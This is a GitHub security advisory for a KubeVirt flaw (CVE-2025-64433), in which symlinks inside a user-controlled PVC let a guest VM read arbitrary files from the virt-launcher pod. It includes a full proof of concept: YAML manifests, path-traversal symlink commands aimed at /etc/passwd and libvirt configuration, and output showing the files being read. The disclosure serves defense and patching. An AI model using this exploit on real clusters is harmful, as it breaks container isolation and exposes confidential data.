GHSA-QW6Q-3PGR-5CWQ
Vulnerability from github – Published: 2025-11-06 23:33 – Updated: 2025-11-17 21:41
VLAI?
Summary
KubeVirt Arbitrary Container File Read
Details
Summary
_Short summary of the problem. Make the impact and severity as clear as possible.
Mounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the virt-launcher pod. This is due to erroneous handling of symlinks defined within a PVC.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
A vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the virt-launcher pod's file system. Since libvirt can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read.
Although a security mechanism exists where VMs are executed as an unprivileged user with UID 107 inside the virt-launcher container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability (TODO: put link here). The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID 107 prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the virt-launcher pod's file system or on a mounted PVC from within the guest VM.
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
Consider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks:
# The YAML definition of two PVCs that the attacker has access to
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: pvc-arbitrary-container-read-1
spec:
accessModes:
- ReadWriteMany # suitable for migration (:= RWX)
resources:
requests:
storage: 500Mi
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: pvc-arbitrary-container-read-2
spec:
accessModes:
- ReadWriteMany # suitable for migration (:= RWX)
resources:
requests:
storage: 500Mi
---
# The attacker-controlled container used to create the symlinks in the above PVCs
apiVersion: v1
kind: Pod
metadata:
name: dual-pvc-pod
spec:
containers:
- name: app-container
image: alpine
command: ["/some-vulnerable-app"]
volumeMounts:
- name: pvc-volume-one
mountPath: /mnt/data1
- name: pvc-volume-two
mountPath: /mnt/data2
volumes:
- name: pvc-volume-one
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-1
- name: pvc-volume-two
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-2
By default, Minikube's storage controller (hostpath-provisioner) will allocate the claim as a directory on the host node (HostPath). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows:
# Using the `pvc-arbitrary-container-read-1` PVC we want to read the default XML configuration generated by `virt-launcher` for `libvirt`. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration.
attacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml disk.img
attacker@dual-pvc-pod:/mnt/data1 $ls -l
lrwxrwxrwx 1 root root 85 May 19 22:24 disk.img -> ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml
# With the `pvc-arbitrary-container-read-2` we want to read the `/etc/passwd` of the `virt-launcher` container which will launch the future VM
attacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img
attacker@dual-pvc-pod:/mnt/data2 $ls -l
lrwxrwxrwx 1 root root 34 May 19 22:26 disk.img -> ../../../../../../../../etc/passwd
Of course, these links could potentially be broken as the files, especially default_arbitrary-container-read.xml, could not exist on the dual-pvc-pod pod's file system. The attacker then deploy the following VM:
# arbitrary-container-read.yaml
apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
name: arbitrary-container-read
spec:
runStrategy: Always
template:
metadata:
labels:
kubevirt.io/size: small
kubevirt.io/domain: arbitrary-container-read
spec:
domain:
devices:
disks:
- name: containerdisk
disk:
bus: virtio
- name: pvc-1
disk:
bus: virtio
- name: pvc-2
disk:
bus: virtio
- name: cloudinitdisk
disk:
bus: virtio
interfaces:
- name: default
masquerade: {}
resources:
requests:
memory: 64M
networks:
- name: default
pod: {}
volumes:
- name: containerdisk
containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo
- name: pvc-1
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-1
- name: pvc-2
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-2
- name: cloudinitdisk
cloudInitNoCloud:
userDataBase64: SGkuXG4=
The two PVCs will be mounted as volumes in "filesystem" mode:
From the documentation of the different volume modes, one can infer that if the backing disk.img is not owned by the unprivileged user with UID 107, the VM should fail to mount it. In addition, it's expected that this backing file is in RAW format. While this format can contain pretty much anything, we consider that being able to mount a file from the file system of virt-launcher is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the /etc/passwd and default_migration.xml files from the virt-launcher pod's file system:
# Deploy the VM manifest
operator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml
virtualmachine.kubevirt.io/arbitrary-container-read created
# Observe the deployment status
operator@minikube:~$ kubectl get vmis
NAME AGE PHASE IP NODENAME READY
arbitrary-container-read 80s Running 10.244.1.9 minikube-m02 True
# Initiate a console connection to the running VM
operator@minikube:~$ virtctl console arbitrary-container-read
# Within the `arbitrary-container-read` VM, inspect the available block devices
root@arbitrary-container-read:~$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
vda 253:0 0 44M 0 disk
|-vda1 253:1 0 35M 0 part /
-vda15 253:15 0 8M 0 part
vdb 253:16 0 20K 0 disk
vdc 253:32 0 512B 0 disk
vdd 253:48 0 1M 0 disk
# Inspect the mounted /etc/passwd of the `virt-launcher` pod
root@arbitrary-container-read:~$ cat /dev/vdc
qemu:x:107:107:user:/home/qemu:/bin/bash
root:x:0:0:root:/root:/bin/bash
# Inspect the mounted `default_migration.xml` of the `virt-launcher` pod
root@arbitrary-container-read:~$ cat /dev/vdb | head -n 20
<!--
WARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE
OVERWRITTEN AND LOST. Changes to this xml configuration should be made using:
virsh edit default_arbitrary-container-read
or other application using the libvirt API.
-->
<domstatus state='paused' reason='starting up' pid='80'>
<monitor path='/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_arbitrary-co/monitor.sock' type='unix'/>
<vcpus>
</vcpus>
<qemuCaps>
<flag name='hda-duplex'/>
<flag name='piix3-usb-uhci'/>
<flag name='piix4-usb-uhci'/>
<flag name='usb-ehci'/>
<flag name='ich9-usb-ehci1'/>
<flag name='usb-redir'/>
<flag name='usb-hub'/>
<flag name='ich9-ahci'/>
operator@minikube:~$ kubectl get pods
NAME READY STATUS RESTARTS AGE
dual-pvc-pod 1/1 Running 0 20m
virt-launcher-arbitrary-container-read-tn4mb 3/3 Running 0 15m
# Inspect the contents of the `/etc/passwd` file of the `virt-launcher` pod attached to the VM
operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- cat /etc/passwd
qemu:x:107:107:user:/home/qemu:/bin/bash
root:x:0:0:root:/root:/bin/bash
# Inspect the ownership of the `/etc/passwd` file of the ` virt-launcher` pod
operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- ls -al /etc/passwd
-rw-r--r--. 1 qemu qemu 73 Jan 1 1970 /etc/passwd
Impact
What kind of vulnerability is it? Who is impacted?
This vulnerability breaches the container-to-VM isolation boundary, compromising the confidentiality of storage data.
Severity ?
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.0-alpha.0"
},
{
"fixed": "1.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64433"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-06T23:33:33Z",
"nvd_published_at": "2025-11-07T23:15:45Z",
"severity": "MODERATE"
},
"details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible.\n\nMounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the `virt-launcher` pod. This is due to erroneous handling of symlinks defined within a PVC.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nA vulnerability was discovered that allows a VM to read arbitrary files from the `virt-launcher` pod\u0027s file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the `virt-launcher` pod\u0027s file system. Since `libvirt` can treat regular files as block devices, any file on the pod\u0027s file system that is symlinked in this way can be mounted into the VM and subsequently read.\n\nAlthough a security mechanism exists where VMs are executed as an unprivileged user with UID `107` inside the `virt-launcher` container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability (TODO: put link here). The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID `107` prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the `virt-launcher` pod\u0027s file system or on a mounted PVC from within the guest VM.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nConsider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks:\n\n```yaml\n# The YAML definition of two PVCs that the attacker has access to\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n name: pvc-arbitrary-container-read-1\nspec:\n accessModes:\n - ReadWriteMany # suitable for migration (:= RWX)\n resources:\n requests:\n storage: 500Mi\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n name: pvc-arbitrary-container-read-2\nspec:\n accessModes:\n - ReadWriteMany # suitable for migration (:= RWX)\n resources:\n requests:\n storage: 500Mi\n---\n# The attacker-controlled container used to create the symlinks in the above PVCs\napiVersion: v1\nkind: Pod\nmetadata:\n name: dual-pvc-pod\nspec:\n containers:\n - name: app-container\n image: alpine\n command: [\"/some-vulnerable-app\"]\n volumeMounts:\n - name: pvc-volume-one\n mountPath: /mnt/data1\n - name: pvc-volume-two\n mountPath: /mnt/data2\n volumes:\n - name: pvc-volume-one\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-1\n - name: pvc-volume-two\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-2\n```\n\nBy default, Minikube\u0027s storage controller (`hostpath-provisioner`) will allocate the claim as a directory on the host node (`HostPath`). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows:\n\n```bash\n# Using the `pvc-arbitrary-container-read-1` PVC we want to read the default XML configuration generated by `virt-launcher` for `libvirt`. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration.\n\nattacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml disk.img\nattacker@dual-pvc-pod:/mnt/data1 $ls -l\nlrwxrwxrwx 1 root root 85 May 19 22:24 disk.img -\u003e ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml\n\n# With the `pvc-arbitrary-container-read-2` we want to read the `/etc/passwd` of the `virt-launcher` container which will launch the future VM\nattacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img \nattacker@dual-pvc-pod:/mnt/data2 $ls -l\nlrwxrwxrwx 1 root root 34 May 19 22:26 disk.img -\u003e ../../../../../../../../etc/passwd\n```\n\nOf course, these links could potentially be broken as the files, especially `default_arbitrary-container-read.xml`, could not exist on the `dual-pvc-pod` pod\u0027s file system. The attacker then deploy the following VM:\n\n```yaml\n# arbitrary-container-read.yaml\napiVersion: kubevirt.io/v1\nkind: VirtualMachine\nmetadata:\n name: arbitrary-container-read\nspec:\n runStrategy: Always\n template:\n metadata:\n labels:\n kubevirt.io/size: small\n kubevirt.io/domain: arbitrary-container-read\n spec:\n domain:\n devices:\n disks:\n - name: containerdisk\n disk:\n bus: virtio\n - name: pvc-1\n disk:\n bus: virtio\n - name: pvc-2\n disk:\n bus: virtio\n - name: cloudinitdisk\n disk:\n bus: virtio\n interfaces:\n - name: default\n masquerade: {}\n resources:\n requests:\n memory: 64M\n networks:\n - name: default\n pod: {}\n volumes:\n - name: containerdisk\n containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo\n - name: pvc-1\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-1\n - name: pvc-2\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-2\n - name: cloudinitdisk\n cloudInitNoCloud:\n userDataBase64: SGkuXG4=\n```\n\nThe two PVCs will be mounted as volumes in \"filesystem\" mode: \n\nFrom the [documentation](https://kubevirt.io/user-guide/storage/disks_and_volumes/#persistentvolumeclaim) of the different volume modes, one can infer that if the backing `disk.img` is not owned by the unprivileged user with UID `107`, the VM should fail to mount it. In addition, it\u0027s expected that this backing file is in [RAW format](https://www.qemu.org/docs/master/tools/qemu-img.html#notes). While this format can contain pretty much anything, we consider that being able to mount a file from the file system of `virt-launcher` is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the `/etc/passwd` and `default_migration.xml` files from the `virt-launcher` pod\u0027s file system: \n\n```bash\n# Deploy the VM manifest\noperator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml\nvirtualmachine.kubevirt.io/arbitrary-container-read created\n# Observe the deployment status\noperator@minikube:~$ kubectl get vmis\nNAME AGE PHASE IP NODENAME READY\narbitrary-container-read 80s Running 10.244.1.9 minikube-m02 True\n# Initiate a console connection to the running VM\noperator@minikube:~$ virtctl console arbitrary-container-read\n```\n\n```bash\n# Within the `arbitrary-container-read` VM, inspect the available block devices\nroot@arbitrary-container-read:~$ lsblk\nNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT\nvda 253:0 0 44M 0 disk\n|-vda1 253:1 0 35M 0 part /\n-vda15 253:15 0 8M 0 part\nvdb 253:16 0 20K 0 disk\nvdc 253:32 0 512B 0 disk\nvdd 253:48 0 1M 0 disk\n# Inspect the mounted /etc/passwd of the `virt-launcher` pod\nroot@arbitrary-container-read:~$ cat /dev/vdc\nqemu:x:107:107:user:/home/qemu:/bin/bash\nroot:x:0:0:root:/root:/bin/bash\n# Inspect the mounted `default_migration.xml` of the `virt-launcher` pod\nroot@arbitrary-container-read:~$ cat /dev/vdb | head -n 20\n\u003c!--\nWARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE\nOVERWRITTEN AND LOST. Changes to this xml configuration should be made using:\n virsh edit default_arbitrary-container-read\nor other application using the libvirt API.\n--\u003e\n\u003cdomstatus state=\u0027paused\u0027 reason=\u0027starting up\u0027 pid=\u002780\u0027\u003e\n \u003cmonitor path=\u0027/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_arbitrary-co/monitor.sock\u0027 type=\u0027unix\u0027/\u003e\n \u003cvcpus\u003e\n \u003c/vcpus\u003e\n \u003cqemuCaps\u003e\n \u003cflag name=\u0027hda-duplex\u0027/\u003e\n \u003cflag name=\u0027piix3-usb-uhci\u0027/\u003e\n \u003cflag name=\u0027piix4-usb-uhci\u0027/\u003e\n \u003cflag name=\u0027usb-ehci\u0027/\u003e\n \u003cflag name=\u0027ich9-usb-ehci1\u0027/\u003e\n \u003cflag name=\u0027usb-redir\u0027/\u003e\n \u003cflag name=\u0027usb-hub\u0027/\u003e\n \u003cflag name=\u0027ich9-ahci\u0027/\u003e\n```\n\n```bash\noperator@minikube:~$ kubectl get pods\nNAME READY STATUS RESTARTS AGE\ndual-pvc-pod 1/1 Running 0 20m\nvirt-launcher-arbitrary-container-read-tn4mb 3/3 Running 0 15m\n# Inspect the contents of the `/etc/passwd` file of the `virt-launcher` pod attached to the VM\noperator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- cat /etc/passwd\nqemu:x:107:107:user:/home/qemu:/bin/bash\nroot:x:0:0:root:/root:/bin/bash \n\n# Inspect the ownership of the `/etc/passwd` file of the ` virt-launcher` pod \noperator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- ls -al /etc/passwd\n-rw-r--r--. 1 qemu qemu 73 Jan 1 1970 /etc/passwd\n```\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThis vulnerability breaches the container-to-VM isolation boundary, compromising the confidentiality of storage data.",
"id": "GHSA-qw6q-3pgr-5cwq",
"modified": "2025-11-17T21:41:09Z",
"published": "2025-11-06T23:33:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64433"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/09eafa068ec01eca0e96ebafeeb9522a878dbf64"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/9dc798cb1efe924a9a2b97b6e016452dec5e3849"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/a81b27d4600cf654274dd197119658382affdb08"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubevirt/kubevirt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "KubeVirt Arbitrary Container File Read "
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…